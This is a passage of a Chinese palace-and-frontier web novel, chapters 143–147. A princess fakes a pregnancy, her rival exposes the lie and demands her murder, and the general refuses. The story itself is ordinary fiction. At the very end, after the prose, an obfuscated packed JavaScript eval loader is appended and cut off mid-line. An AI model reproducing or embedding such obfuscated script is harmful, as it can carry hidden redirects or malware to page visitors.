好一个“助夫君一臂之力”。黎音袅心中冷笑,苏木这番话,看似处处为江令舟着想,实则句句不离掌控。她想的,恐怕是让江令舟成为她手中的棋子。 “真心拥戴?”黎音袅重复着这四个字,语带讥讽,“被你这‘神女’蛊惑的真心,能有几分纯粹?苏木,收起你那套蛊惑人心的说辞。你的野心,早已不是什么秘密。” 苏木面不改色:“野心?若我的野心能换来北疆长治久安,能让大楚边境再无烽火,能让江将军青史留名,这样的野心,长公主觉得,是大逆不道,还是顺天应人?” 她顿了顿,声音里带着一种奇特的诱惑力:“长公主,你与我,其实可以有共同的目标。” “住口!”黎音袅猛地起身,帐内的烛火因她的动作剧烈摇晃了一下,“你这种手段龌龊之人,也配提江令舟?也配与我谈目标?” 她的声音陡然拔高,充满了压抑的怒火与厌恶:“你处心积虑接近他,甚至不惜用苦肉计!日日汤药,夜夜‘关怀’,装出一副柔弱不能自理的模样博取同情,暗地里却想方设法,搔首弄姿,不就是想爬上他的床,借他上位,图谋你的‘大业’吗?苏木,你如今还有何信用可言!” 这番话,黎音袅几乎是咬着牙说出来的。那是她心底深处的一根刺,一碰就痛。苏木曾经的行径,是对她、对江令舟感情的极致侮辱。 帐内霎时死寂。 苏木脸上的从容第一次出现了裂痕,她垂在身侧的手指微微蜷缩了一下。她没有立刻反驳,那短暂的沉默,在黎音袅看来,便是默认。 果然是她。黎音袅心头那块悬着的巨石,因这无声的承认而彻底砸落,激起满腔寒意。这个女人,比她想象中更加没有底线。 半晌,苏木才缓缓开口,声音比方才低沉了些许,却依旧平静:“长公主果然对往事念念不忘。既然殿下如此不信任我,那便当我今日没有来过。” “没有来过?”黎音袅反问,“你以为一句‘没有来过’,就能抹去你做过的一切?苏木,你太小看我黎音袅了。” 苏木终究没有否认那些不堪的过往。她只是抬起头,迎上黎音袅冷冽的审视:“不错,我曾用过些手段。但成大事者,不拘小节。长公主若只纠结于过去,只会错失良机。” 她向前一步,几乎与黎音袅鼻尖相抵,压低了声音:“机会只有一次。明日之后,玉门关外的数十万牧民,是敌是友,皆在长公主一念之间。殿下,莫要后悔。” 那双深不见底的眸子,此刻清晰地映出黎音袅含怒的脸庞。 “后悔?”黎音袅一字一顿,“我黎音袅做事,从不言悔。你若真有本事,便在战场上与我大楚将士一较高下。用这些阴诡伎俩,你不觉得污了你那‘神女’的名头?” 苏木闻言,竟低低笑了一声,那笑声在寂静的帐篷里显得格外刺耳:“名头,是给世人看的。你我之间,看的,是结果,是输赢。” 她不再多言,转身便向窗牖走去,动作依旧利落如昨夜。 “你就不怕我此刻下令,将你就地格杀?”黎音袅的声音从后方传来,带着一丝不易察觉的颤抖,那是极致愤怒后的余波。 苏木的身影在窗边顿住,却没有回头:“长公主可以试试。只是,我若死在这里,那些部族,恐怕会立刻失控。到那时,玉门关外的火,怕是比现在更旺。江将军的处境,只会更难。” 话音未落,她身形一矮,已如夜枭般悄无声息地翻窗而出,布帘轻晃,复又垂落。 帐内,只余黎音袅一人。 她缓缓坐下,紧握的短匕几乎要嵌入掌心。 苏木,这个女人,是一条最毒的蛇。 晨曦微露,军帐外传来急促的马蹄声,打破了黎明前的宁静。一名风尘仆仆的信使被引入,手中高举着明黄卷轴,圣旨二字在晨光下刺目。 “京中八百里加急!” 黎音袅接过圣旨,展开时指尖触及冰凉的丝帛,那寒意仿佛透骨。皇帝的朱批洋洋洒洒,字里行间透着“殷切”,催促江令舟尽快平息北疆事端,“勿负朕望,尽早返京”。 “尽早返京……”她低声重复,唇边泛起一丝冷峭。这四个字,哪里是期盼,分明是京中那些捕风捉影的流言,已让龙椅上的人坐立不安。 江令舟立于一旁,见她神色凝重,眉宇间也染上忧色:“圣意难违。”他顿了顿,声音沉稳却难掩其中的分量,“只是,北疆一日不稳,我如何能安心折返?” “安心?”黎音袅抬眸,眸中情绪复杂,“皇兄要的,恐怕不是你的安心,而是他的安心。”她将圣旨轻轻拍在案上,“玉门关外虎视眈眈,此刻抽身,无异于将北疆拱手让人。” 帐内气氛一时有些压抑。江令舟负手踱了几步:“苏木昨夜之言,虽不可尽信,但部族蠢蠢欲动,确是事实。” 第143章假孕 黎音袅心头一动,苏木那张平静却暗藏锋芒的脸再次浮现。她厌恶苏木的手段,可眼下……她突然想起一事,一个念头如电光石火般划过脑海。 “或许……”她开口,声音带着一丝自己都未察觉的迟疑与干涩。 她要用计吗?用那种她曾经最不齿的手段?黎音袅的指甲几乎要掐进掌心。她想起苏木那句“成大事者,不拘小节”,当时只觉是对她和江令舟的嘲讽,此刻却如魔音贯耳,在心头盘旋不去。讽刺的是,她如今竟要拾起这般她鄙夷的伎俩。 为了江令舟,为了大楚的北境……这份沉重,压得她几乎喘不过气。 她强迫自己镇定下来,压下心头翻涌的厌恶与挣扎:“或许,我们可以用一个法子,暂时拖住局面。” 江令舟看向她,目光探究:“长公主有何高见?” “假孕。”黎音袅一字一顿,说出这两个字时,脸颊有些发烫,不知是羞耻还是别的什么,“只要对外宣称,我已怀有身孕。那些部族首领,但凡还有一丝与大楚修好、借江家维系的想法,便会顾忌你我之间的这层血脉羁绊。他们不敢轻举妄动,至少能为我们争取到宝贵的喘息之机。” 江令舟闻言,面上显出几分错愕,旋即眉头紧蹙:“假孕?音袅,此计……是否过于行险?欺君罔上,非同小可。若被拆穿,不仅你我声名扫地,皇室颜面何存?届时,只怕更是雪上加霜,难以收拾。”他的声音透着审慎,显然对这等铤而走险的计策抱有极大疑虑。 “行险?”黎音袅反问,声音陡然尖锐了几分,带着一丝被逼到绝境的孤注一掷,“如今还有比坐视北疆糜烂,等着被皇兄一道圣旨召回京城更危险的境地吗?声名?皇室颜面?若玉门关失守,大片疆土沦丧,这些虚名还有何意义!” 她上前一步,几乎与他鼻尖相抵,眸光灼灼:“江令舟,你我心知肚明,皇兄的耐心已所剩无几。这道圣旨是催促,下一道,可能就是措辞更为严厉的死命令!我们没有多少时间可以浪费在所谓的‘万全之策’上,更没有资本去赌那些部族会不会良心发现!” “可这毕竟是弥天大谎。”江令舟叹了口气,语气中带着深深的无奈,“一旦传出,如何收场?假的终究是假的,纸包不住火。将来若要圆谎,只会牵扯更多,漏洞百出。” “先解燃眉之急,再图长远!”黎音袅语气坚决,“至少,此计能让那些首鼠两端的部族暂时安分,也让京中那些等着看你笑话、巴不得你早日离开北疆的宵小之徒,暂时闭上他们的嘴。至于日后……日后再说!总好过现在就束手就擒,眼睁睁看着北疆局势恶化,将你我逼入死角!” 她的话语掷地有声,每一个字都敲在江令舟心上。 江令舟凝视着她,黎音袅的眼神异常坚定,那是一种被现实逼迫到悬崖边沿后,不得不生出的决绝与狠厉。他何尝不明白眼下的困局。苏木那女人的威胁言犹在耳,各部族的异动如同悬顶之剑,京城的压力又如催命符般接踵而至。他并非迂腐之人,只是此计太过凶险,稍有不慎,便是万劫不复。 “此事若行,需得做得天衣无缝,不留半点破绽。”他终于开口,声音比方才更为低沉沙哑,“消息一旦放出,便再无转圜余地。你我,都将骑虎难下。” “我明白。”黎音袅应道,声音里听不出太多情绪。心中那块因苏木而悬起的巨石,此刻又因这无奈的计策而沉甸甸的。她痛恨这种感觉,这种不得不向现实妥协,甚至不惜采用自己曾经最鄙夷手段的无力与屈辱。这与苏木当年的行径,又有何本质区别?只是,她是为了保全,而苏木是为了图谋。 “对外,便说我近来偶感风寒,身体不适,经军医诊脉,已察觉有孕象。”她迅速整理着纷乱的思绪,尽量让自己的声音听起来平静,“军医那边,我会亲自去‘交代’。你只需……配合行事,在适当的时候,表露出你的‘欣喜’与‘关切’。” 江令舟缓缓点头,帐内的空气仿佛凝滞了一般,压得人喘不过气。窗外天光已然大亮,驱散了帐内的昏暗,却驱不散两人心头的阴霾。新的一日,竟要以一个巨大的谎言作为开端。 黎音袅垂下眼睫,看着自己微微蜷缩的手指。这条路,一旦踏上,便再也回不了头了。 “长公主有孕”的消息,如同一剂强心针,迅速注入了北疆这片躁动不安的土地。 不过三五日,那些原本蠢蠢欲动的部族首领们,便接二连三地派人送来贺礼,言辞间满是恭维与试探。帐外喧嚣渐息,帐内却暗流汹涌。 黎音袅每日晨起,对着铜镜,强迫自己做出几分孕妇该有的倦怠与娇弱。她会刻意在人前蹙眉,干呕几声,引来侍女关切的询问。 “公主可是又不适了?要不要传军医再瞧瞧?”贴身侍女春禾忧心忡忡。 “无妨,许是这几日风有些大,吹得头晕。”黎音袅摆摆手,声音带着刻意压低的虚弱,“军医不是说了么,寻常反应,过些时日便好了。” 她心中却是一片冰凉。这种扮演,比沙场厮杀更让她感到疲惫与屈辱。每当江令舟带着“恰到好处”的关切出现在她帐中,嘘寒问暖,她都觉得帐内的空气稀薄得令人窒息。 第三日清晨,天色微熹。 黎音袅在榻上辗转反侧,腹中隐隐传来熟悉的坠胀感。她猛地坐起身,一种不祥的预感攫住了她的心。掀开锦被,一抹刺目的嫣红赫然映入眼帘。 月信如常。 她死死攥紧了身下的帕子,指节因用力而泛白。冷汗,涔涔而下,瞬间浸湿了中衣。怎么会……怎么偏偏是这个时候! 她不是没有想过这个可能,只是存着万一的侥幸。可现实,总是比预想的更为残酷。这个谎言,才刚刚开始,便已露出了最致命的破绽。 “公主,您醒了?可要起身?”春禾的声音在帐外响起。 “别进来!”黎音袅的声音带着一丝不易察觉的颤抖,“我……我再睡会儿。” 她迅速起身,胡乱处理了痕迹,将那染血的帕子死死掖在枕下,仿佛那是什么能将她拖入深渊的罪证。怎么办?接下来该怎么办? 几乎是同一时刻,军医处,一个不起眼的杂役趁着众人忙乱之际,悄无声息地潜入了存放脉案的偏帐。他的动作极快,目标明确,很快便从一堆卷宗中抽出一份,迅速塞入怀中,又悄然离去,未惊动任何人。那份脉案上,赫然记录着数日前军医为长公主“诊出”的喜脉。 第144章添油加醋 草原上的风,总是传得最快。 不过半日功夫,“长公主假孕,实则以谎言蒙骗各部”的消息,便如同插上了翅膀,在各个部族之间飞速流传。起初还有人不信,但随着一些“知情人”添油加醋的描述,以及苏木那边暗中推波助澜,疑云迅速扩散。 那些刚刚送上贺礼的部族首领们,只觉自己被戏耍了一般,羞恼与愤怒交织。北疆刚刚平息下去的暗流,再次以更为汹涌的姿态翻腾起来。 黎音袅对此尚不知情。她正坐在帐中,端着一碗漆黑的汤药,眉头紧锁。这是她让春禾悄悄去弄来的避子汤。既然谎言已难以为继,她不能再让自己陷入更深的泥潭。万一……万一真的有了,那才是天大的笑话。 她仰头,正要将那苦涩的药汁一饮而尽,帐帘却猛地被人掀开。 江令舟大步流星地走了进来,脸色铁青,手中紧紧攥着一封信函。 黎音袅端着药碗的手一顿,汤药险些洒出。她看着他,心中那块巨石轰然坠落,砸得她五脏六腑都跟着震颤。 “你……”她刚想开口询问发生了何事,却见江令舟的视线,死死盯在她手中的药碗上,然后缓缓上移,与她的目光在空中相撞。 他没有说话,只是将手中的信函,重重掷在案几上。那是一封来自军医处的密报,上面用朱笔醒目地圈出了几个字:“脉象……并非喜脉,乃……”后面的字迹,却被刻意涂抹篡改,变得模糊不清,只留下无限的遐想与恶意。 “这是什么?”江令舟的声音沙哑得厉害,每一个字都像是从齿缝中挤出来的。 黎音袅放下药碗,指尖冰凉。她没有去看那封密报,也无需去看。苏木……果然是苏木!她动作竟如此之快,如此之狠! “你看到了。”黎音袅的声音平静得可怕,听不出任何波澜,仿佛在说一件与己无关的事情,“如你所料,纸包不住火。” “我问你,这是什么!”江令舟上前一步,几乎要扼住她的手腕,“你喝的是什么?!” “你不是已经猜到了吗?”黎音袅抬起头,迎上他怒火中烧的眼,“事已至此,再追问这些,还有意义吗?” “意义?”江令舟怒极反笑,“黎音袅,你告诉我,在你眼中,究竟何为意义?欺瞒!谎言!这就是你所谓的权宜之计?!” “那依你之见,我又该如何?”黎音袅反问,声音陡然拔高,“坐以待毙?还是束手就擒,等着苏木将我们彻底踩在脚下?!” “至少不该是如此卑劣的手段!” “卑劣?”黎音袅嗤笑一声,眼中是浓得化不开的悲凉与自嘲,“江令舟,你我走到今日,何曾有过真正的选择?你以为我愿意如此吗?我痛恨!我比任何人都痛恨这种身不由己,这种不得不低头的屈辱!” 她指着那封密报:“苏木已经出手了!她要的,就是我们内乱,就是我们自相残杀!现在,你满意了?!” 江令舟看着她苍白的面容,和眼中那几乎要溢出的绝望,胸中的怒火像是被一盆冰水兜头浇下,只剩下刺骨的寒意。 他攥紧了拳头。 帐中死寂,唯有烛火摇曳,映着两人对峙的身影。 江令舟看着黎音袅苍白如纸的脸,胸中那股被冰水浇熄的怒火,余烬仍在,却添了几分难言的涩。他紧攥的拳头缓缓松开,声音低沉,带着一丝自己都未察觉的疲惫:“为何……不曾告诉我?” 这话问得突兀,却又在情理之中。 黎音袅别过脸,避开他复杂的审视,声音里听不出情绪:“告诉你,又能如何?圣谕催得那般紧,你以为北疆这点破事,三言两语便能轻易了结?” 她的话像是一根刺,不软不硬,却扎得人心头发闷。 江令舟喉结滚动,他想说些什么,想说他们是夫妻,想说他可以分担。他往前一步,下意识地伸出手,想去扶她那瘦削得仿佛一折就断的肩膀。 黎音袅却似有所感,身子微微一侧,恰恰避开了他的触碰。 他伸出的手,僵在了半空。 帐外的风,似乎也在此刻停歇了一瞬。 “也罢,”江令舟收回手,指尖冰凉,一如他此刻的心境,“事已至此……” 他话未说完,帐外骤然传来一阵喧哗,初时还远,如同闷雷滚动,转瞬便已近在咫尺,人声鼎沸,夹杂着无数脚步奔跑踩踏的杂乱声响。 “怎么回事?”江令舟眉头紧锁,厉声问道。 一名亲卫踉跄着冲入帐内,甲胄凌乱,面上带着惊惶:“将军!长公主!不好了!外面……外面聚集了许多牧民,他们举着火把,高喊着……高喊着……” 亲卫声音发颤,不敢再说下去。 “喊什么?”黎音袅猛地转过身,声音清冽。 那亲卫咽了口唾沫,低下头,艰难道:“他们喊……‘神女显灵,长公主欺天’!还说……还说要长公主给个说法!” “神女显灵,长公主欺天……”黎音袅低声重复,唇边泛起一抹冰冷的弧度。苏木的动作,比她预想的还要快,还要狠。这是要将她彻底钉死在欺瞒的罪名上,让她在北疆再无立足之地。 江令舟面色一沉,眼中寒光迸射:“我去处理!让他们散了!”他转身便要出去,“你在此处,不要出来。” “不必。” 清冷的声音自身后传来,打断了他的动作。 江令舟回身,只见黎音袅已然站直了身体,方才那瞬间的脆弱仿佛只是错觉。她看着他,眼神平静,却带着一种破釜沉舟的决绝。 “你去,”黎音袅一字一顿,清晰说道,“苏木既然已经出手,必然还有后招。你去寻她,与她协商北疆诸部事务,稳住那些部族首领。外面的流言蜚语,我自会应对。” 江令舟怔住:“你?”他看着她,帐外的火光映在她眼中,跳动着,却烧不尽那深处的寒意,“你要如何应对?他们群情激奋,你……” “我自有我的办法。”黎音袅打断他,语气不容置喙,“你若信我,便按我说的做。苏木要的是北疆大乱,我们内斗不休。此刻,我们不能自乱阵脚。” 她顿了顿,补充道:“你与苏木周旋,拖延时间。至少,在她达成所有目的之前,北疆不能真的乱起来。” 江令舟沉默地看着她。她眼中的坚定,让他想起了初见她时,那个在宫变中冷静指挥,挽大厦于将倾的女子。只是此刻,她的眉宇间,多了太多他读不懂的疲惫与苍凉。 他心中那块巨石,似乎又沉重了几分。他想问,你所谓的办法,是什么?是以身犯险,还是…… 但他终究没有问出口。 他看见她眼中一闪而过的决然,那种不惜一切的眼神,让他心头一紧。 “你……”他想说“小心”,却觉得这两个字在此刻显得如此苍白无力。 黎音袅没有再看他,径直走向帐门。 “黎音袅!”江令舟在她即将掀开帐帘的瞬间,再次开口,声音有些喑哑。 她脚步一顿,却没有回头。 “若事不可为,”他艰涩地说道,“保全自己。” 帐帘被猛地掀开,呼啸的夜风裹挟着外面嘈杂的人声与火光涌入。黎音袅的身影在风中显得格外单薄,却又透着一股无法折断的韧劲。 她没有回应,只是迈步走了出去。 江令舟站在原地,看着那道身影消失在摇曳的火光与鼎沸的人声之中,许久,才缓缓吐出一口气,转身,大步朝着与她相反的方向而去。 风更烈了,吹得帐篷猎猎作响,也吹起了北疆新一轮的汹涌波涛。 第145章交代 胡杨部落的帐篷在夜风中鼓动,如同巨兽的呼吸。 江令舟在两名亲卫的陪同下,踏入部落的中心。火光摇曳,映照着四周沉默的部族武士,他们腰间佩刀,手臂上统一的狼头刺青在火光下显得狰狞。苏木端坐在最深处,一张巨大的狼首图腾之下,面容平静,仿佛早已料到他的到来。 她身后,数名同样刺有狼头图腾的武士垂手而立,气息沉凝。 “江将军果然守信。”苏木开口,声音在夜风中清晰可辨,带着几分草原的粗砺。她示意身旁一人,那人上前,递给江令舟一卷羊皮。 江令舟接过,展开。羊皮卷上是北疆文字,字迹遒劲。他逐字看过,指尖最终停留在“驻军撤离”四个字上。 “撤军?”他抬起头,直视苏木,“苏木首领,这是何意?” 苏木唇角微扬,弧度难辨喜怒:“将军是聪明人,何必明知故问?楚国军队退出北疆三十里,三年内减免北疆诸部七成赋税。只要将军答应这两个条件,我苏木便可说服北疆十八部,共同奉将军为‘草原之鹰’,尊将军号令。” “草原之鹰?”江令舟重复这四个字,语气听不出情绪,“苏木首领好大的手笔。只是,北疆乃我大楚屏障,历代将士浴血守护之地,岂能因一份盟约便轻易撤兵?” 他将羊皮卷轻轻掷回案上,“这个条件,我不能答应。” 苏木挑眉,并不意外:“将军是不愿,还是不敢?莫非,将军不想解长公主的困局?” 江令舟周身的气息骤然冷了几分:“长公主之事,与北疆防务,不可混为一谈。” “是么?”苏木轻笑一声,那笑声在空旷的帐篷里显得格外刺耳,“将军以为,这两件事,分得开么?”她身体微微前倾,“长公主假孕的消息,此刻怕是已经传遍了京城。陛下会如何想?满朝文武会如何议论?‘神女显灵,长公主欺天’……这八个字,足以让她万劫不复。” 江令舟垂在身侧的手,不自觉地握紧。他能想象黎音袅此刻在营帐外面临的汹汹舆情,也能预料到京城即将掀起的惊涛骇浪。 “将军是忠臣,自然不愿看到楚国储君蒙受此等污名,甚至……有性命之忧吧?”苏木继续施压,每一个字都像锤子,敲在江令舟心上,“只要将军点头,我即刻派人平息外面的流言,担保长公主在北疆安然无恙。待将军成为‘草原之鹰’,北疆归心,长公主戴罪立功,陛下说不定还会龙颜大悦,既往不咎。” “用北疆防线,换她一时安宁?”江令舟反问,声音低沉,“苏木首领,你这算盘,打得太精了。” 苏木摊开手:“我不过是为我北疆诸部争取一线生机。楚帝贪婪,赋税年年加重,我族人食不果腹,衣不蔽体。若非如此,我又何必行此险招?”她直视江令舟,“将军也是带兵之人,当知兵者,诡道也。为了部族存续,我苏木,不惜一切代价。” “所以,煽动流言,逼迫长公主,就是你的手段?”江令舟问。 “手段不重要,结果才重要。”苏木答得坦然,“长公主的‘神女’名号,本就是虚妄。我不过是提前戳破了这个泡沫而已。如今,能救她的,只有将军你。” 帐内陷入短暂的沉默,只有篝火燃烧时发出的噼啪声。 江令舟脑中急速思索。苏木的条件,撤军绝无可能。但黎音袅的处境,确实凶险万分。她让他来与苏木协商,便是寄望于此。 “苏木首领,”他缓缓开口,“撤军之事,休要再提。大楚的疆土,寸土不让。” 苏木的脸色沉了下来:“这么说,将军是打算眼睁睁看着长公主身败名裂,甚至……被押解回京,问罪受死?” “我自有办法保她。”江令舟答。 “办法?”苏木嗤笑,“将军莫非以为,凭你一人之力,能对抗悠悠众口,能平息陛下雷霆之怒?还是说,将军打算用北疆的兵马,为长公主清君侧?”她语气中的嘲讽意味愈发浓重,“江将军,你是个聪明人,当知何为取舍。” 江令舟没有理会她的讥讽,而是问道:“苏木首领费尽心机,挑起事端,想要的,仅仅是减免赋税和楚军后撤三十里?” 苏木一怔,似乎没料到他会突然转了话题:“不然呢?将军以为我想要什么?裂土封王,与大楚分庭抗礼?” “我不知道你想要什么。”江令舟道,“但我清楚,你今日所为,若被有心人利用,挑起北疆与朝廷的全面冲突,届时烽火连天,生灵涂炭,你胡杨部落,又能得到什么好处?你所谓的‘一线生机’,怕是会变成真正的死地。” 苏木的眉头蹙起:“江将军,你这是在威胁我?” “我只是在陈述一个可能的事实。”江令舟语气平静,“北疆乱,对谁都没有好处。你想要为部族争取利益,我可以理解。但用这种方式,只会将北疆推向深渊。” 他停顿了一下,看着苏木变幻的神色,继续道:“赋税之事,并非不能商议。我可以向朝廷上奏,酌情减免。但前提是,北疆必须安定。你即刻约束各部,平息流言,澄清长公主之事。如此,我们才有谈下去的可能。” 苏木冷笑:“将军空口白牙,就想让我放弃如此好的筹码?你以为我是三岁小儿?” “你可以不信我。”江令舟迎上她的目光,“但你必须考虑后果。你以为,单凭一个‘假孕’的罪名,就能扳倒大楚的长公主?就能让北疆如你所愿?苏木首领,你太小看黎音袅,也太小看大楚了。” 他向前一步,气势迫人:“或者,苏木首领想要的,根本就不是这些。而是借长公主之事,将我江令舟也拖下水,让北疆军心不稳,另有所图?” 苏木瞳孔微缩,她身后的武士也下意识地握紧了刀柄。 帐内的气氛,一瞬间剑拔弩张。 “江将军,”苏木一字一句开口,“你很敏锐。但有时候,太敏锐,并非好事。” 江令舟没有退缩:“那便请苏木首领,拿出你的诚意。而不是用这种上不得台面的手段,来要挟大楚的将领与储君。” 苏木沉默地看着他,许久,忽然笑了起来,那笑声中带着一丝赞赏,也带着一丝莫测:“好,好一个江令舟。看来,我确实小看了你。”她收敛笑容,“赋税可以谈,但驻军之事,你必须给我一个交代。否则,‘草原之鹰’的名号,将军怕是无福消受。” “交代?”江令舟问。 苏木站起身,走到他面前,两人相距不过三尺。 “我要你”她压低声音,一字一顿,“杀了黎音袅。” 第146章做梦 帐内死寂。 江令舟眼神如刀,直逼苏木:“要我杀她?做梦!” 他觉得苏木是个疯女人。 他掌心按在剑柄上,青筋暴起,每一个字都像是从齿缝中迸出,“北疆可以不要,将军头衔可以放弃,但黎音袅,你动不得。” 苏木发出刺耳的笑声,打破了凝固的空气:“江将军果然情深义重。可你可知,她在楚国大婚之前,可是力保许鹤鸣登基的核心人物。坊间传闻,她与当今陛下……”她故意拖长尾音,细细观察江令舟的反应,试图从他脸上寻到一丝动摇或猜忌。 此言一出,帐内几个胡杨部落的武士也面露异色,显然这些传闻在北疆亦有流传。 江令舟心中怒火翻腾,面上却笑了。那笑意未达眼底,反而更添寒意:“我与她相识于微时,她是什么样的人,我比任何人都清楚。那些腌臢谣言,不过是朝中宵小嫉贤妒能,搬弄是非的伎俩。”他向前逼近半步,身形带来的压迫感让苏木身后的武士不自觉地又握紧了刀。 “你若再敢用这些污言秽语辱她,”江令舟的声音不高,却字字清晰,带着不容置喙的决绝,“本将军必踏平你胡杨部落。” 虽然知道是挑衅的言语,但是他感受到前所未有的侮辱。 苏木脸色终于变了。她原以为江令舟与黎音袅不过是各取所需的政治联姻,长公主借北疆军势稳固储君之位,江令舟则得朝廷倚重,巩固边防。却没想到,这二人之间,竟真有这般不计代价的羁绊。她确实失算了,这江令舟,竟是个将儿女私情置于江山社稷之上的痴人?亦或者,是他太过自信,认为自己能护住所有? “痴情总被无情误。”苏木定了定神,语气中的嘲弄未减,却多了几分探究,“江将军如此维护,可知长公主殿下是否也对将军这般情深义重?还是说,她在意的,始终是她大楚的江山、?” “这与你无关。”江令舟冷然道,“收起你的挑拨离间。说出你的真实目的。若还想谈,便拿出诚意。若只是想用黎音袅来要挟我,那你打错了算盘。” 他心中清楚,苏木此人,绝非易与之辈。她抛出“杀了黎音袅”这样石破天惊的要求,或许本就是一种试探,试探他的底线,试探他对黎音袅的真实态度。如今试探出来了,她又会如何? 苏木沉默片刻,帐外的风雪声似乎更大了些,呼啸着,像是野兽的咆哮。 “好,好一个‘动不得’。”苏木忽然道,脸上的讥讽敛去,换上一种更为复杂的审视,“看来,想让将军亲自动手,确实是为难你了。” 她话锋一转:“既然将军对长公主如此情根深种,那为了她的安危,将军又愿意付出什么代价呢?” 江令舟眉峰一蹙:“你又想耍什么花招?” “花招谈不上。”苏木踱了几步,帐内空间本就不大,她这一动,更显得气氛紧绷。“只是想给将军提个醒。长公主殿下金枝玉叶,身陷北疆这等险地,如今又惹出‘假孕’这等风波,已然成了众矢之的。就算将军你能压下胡杨部落,能压下北疆各部吗?能堵住天下悠悠众口吗?” 她停在江令舟面前不远处,眼中闪烁着精明的光:“将军,你护得了一时,护得了一世吗?北疆这潭水,因为长公主的到来,已经彻底浑了。她若继续留在北疆,只会是更大的麻烦。” 江令舟心头一沉,苏木所言,并非全然危言耸听。黎音袅的处境,确实不妙。 “所以呢?”他问,声音沉静。 “所以,为了长公主好,也为了北疆的安宁,更为了将军你的前程,”苏木一字一顿,“让她离开北疆。体体面面地回到中原去。我可以不对外宣扬‘假孕’之事,只说长公主水土不服,无法适应北疆苦寒,自请回京。” 江令舟冷哼:“这便是你的新筹码?让我送她走?” “这难道不是最好的解决办法吗?”苏木反问,“她走了,北疆的风波自然平息。将军你依旧是北疆的定海神针。至于赋税和驻军之事,我们可以慢慢谈。只要长公主不在北疆,一切都好商量。” “你以为,她走了,你们就能如愿以偿?”江令舟反诘,“朝廷会答应?陛下会答应?” “陛下会不会答应,那是将军你需要去斡旋的事情。”苏木道,“但至少,这是一个好的开端,不是吗?总好过让她留在这里,成为一个随时可能引爆的火药桶。将军,你也不希望看到她出事吧?” 她微微倾身,压低了声音,带着一丝蛊惑:“或者,将军有没有想过,长公主殿下此次北上,或许本就肩负着陛下的特殊使命?她搅动北疆风云,万一,我是说万一,她在此地出了什么‘意外’,并非将军所为,而是因为这北疆的‘民怨沸腾’……” 苏木的眼神变得幽深:“届时,陛下震怒,追查下来,只会认为是北疆蛮族不知好歹,冒犯天威。他或许会悲痛,但为了稳固大局,他更需要的,是一个能够替他荡平北疆、稳定局势的将军。到那时,将军你,或许会得到更多。” 江令舟的瞳孔猛地收缩。 苏木这番话,比直接要他杀了黎音袅,更加阴毒。她这是在暗示,黎音袅若死在北疆,他江令舟不仅可以撇清关系,甚至可能因此得到皇帝更大的信任和重用。 她这是在诛心。 “苏木。”江令舟缓缓开口,声音平静得可怕,“你成功地激怒了我。” 他没有再握剑柄,但帐内的温度仿佛骤然降到了冰点。 苏木却笑了,带着一丝得逞的意味:“将军息怒。我只是提供一种可能。毕竟,识时务者为俊杰。” 江令舟没有再与她多言。 他转身,撩开帐帘,只留下一句:“你的条件,我一个都不会答应。管好你的部落,否则,后果自负。” 风雪瞬间灌入,吹得苏木的衣袍猎猎作响。 第147章痴情 风雪扑面,江令舟的背影在帐外显得愈发挺拔孤绝。他刚迈出几步,身后便传来苏木那不肯罢休的声音,穿透风雪,清晰刺耳。 “将军且慢!” 江令舟驻足,并未回头。他已知晓苏木此人,不达目的,绝不会轻易收手。 苏木自帐内走出,几片雪花落在她发间,她却毫不在意,目光灼灼地盯着江令舟的背影:“她若真清白,为何大婚当日如此仓促?不过是借你掩人耳目,将军,你当真看不透吗?” 这话,比方才的诛心之言,又多了几分直白的羞辱。羞辱他识人不明,也羞辱黎音袅用心不纯。 江令舟缓缓转过身,风雪吹拂着他的眉眼,却吹不散他眸中的沉静。他想,苏木或许永远不会懂,有些情谊,早已超越了世俗的算计与猜度。 “掩人耳目?”他重复了一遍,声音不高,却带着一股不容置喙的力量。 他没有动怒,只是从怀中小心翼翼地取出一幅卷轴,在风雪中徐徐展开。动作缓慢而郑重,仿佛那画卷承载着千钧之重。 那是一幅戎装像。画中女子身着铠甲,英姿飒爽,眉宇间却带着一丝尚未褪尽的青涩。笔触算不得精湛,甚至有些稚嫩,可每一笔都透着专注与敬意。 “这是音袅十五岁时,为我画的。”江令舟的指尖轻轻拂过画卷上女子年轻的面庞,声音染上了几分难言的复杂情绪,“她十三岁第一次踏入军营,瘦得像根豆芽菜,却咬着牙完成了所有操练。十五岁,她第一次随我上阵杀敌,面对真正的血与火,她没有退缩。” 苏木的视线落在画卷上,又转向江令舟。她试图从他脸上找出哪怕一丝一毫的动摇,却只看到了坦荡与一种深植骨髓的信任。 江令舟继续道:“二十岁,北境血战,她为我挡下穿心一箭,那道疤至今仍在。”他的声音平静,却像重锤一般,敲在苏木心上,“这些年,她经历的、付出的,远比你想象的要多。她从未对我隐瞒过任何事,无论是沙场上的生死,还是朝堂中的波谲云诡。许鹤鸣登基,她是长公主,亦是臣子,忠君报国,是她的本分,何来掩人耳目一说?” 他不需要辩解黎音袅为何仓促大婚,因为在这些过往面前,任何刻意的解释都显得苍白。他与黎音袅之间,早已无需用一场婚礼的细节来证明什么。 苏木盯着那幅画,画中少女的眼神清澈而坚定,那份敬意几乎要透纸而出。她再看向江令舟,这个男人提及那个女子时,周身都萦绕着一种旁人无法介入的氛围。她终于明白,自己那些精心编织的、试图离间他们夫妻感情的言语,在这个男人面前,不过是徒劳。 她原以为江令舟与长公主的结合,更多是出于时局与利益的考量,却不想,这其中竟有如此深厚的情感牵绊。挑拨,已然无用。 帐前的几名胡杨部落武士,本是苏木带来的底气,此刻也感受到了气氛的微妙变化,握着兵器的手不自觉地松了松。 苏木沉默片刻,忽然挥了挥手。 那几名武士会意,躬身行礼,悄然后退,隐入风雪之中。 “罢了。”苏木开口,声音里带着一丝不易察觉的沙哑,或许是风灌的,或许是别的,“江将军果然是痴情人。看来,是我小瞧了长公主,也小瞧了将军你对她的情意。” 她这话,听似认输,却又带着几分嘲讽的意味,仿佛在说他为情所困,不够理智。 江令舟收起画卷,重新纳入怀中,动作依旧珍视。他没有理会苏木话语中的弦外之音。 “此事,我暂且放下。”苏木整了整被风吹乱的裘领,目光重新变得锐利,“但北疆的事,不会就此了结。长公主一日在北疆,这潭浑水便一日不得安宁。” 她深深看了江令舟一眼,似乎想将他的模样刻在心底。 而后,她转身,向着自己部落的方向走去,声音在风雪中渐渐低微,却字字清晰地传入江令舟耳中:“你二人,好自为之。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 